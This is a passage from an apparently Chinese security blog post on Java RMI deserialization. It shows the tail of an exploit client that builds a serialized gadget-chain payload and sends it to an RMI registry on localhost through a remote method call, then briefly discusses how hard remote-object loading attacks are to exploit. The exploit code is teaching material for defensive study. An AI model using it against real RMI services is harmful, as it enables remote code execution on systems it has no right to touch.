        Object payload = construct.newInstance(Retention.class, proxyMap);

        // --- 第四步:连接 RMI 发射 Payload ---
        System.out.println("正在连接服务端并发起攻击...");
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");

        // 走你!
        remoteObj.sayHello(payload);
        
        
    }
}

image-20260304200001227

加载远程对象

和上边Server打Client一样利用条件非常苛刻。

具体可以参考:Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

参考文章:


RMI反序列化
http://example.com/2026/03/08/RMI反序列化/
作者
Piggy Sprint
发布于
2026年3月8日
许可协议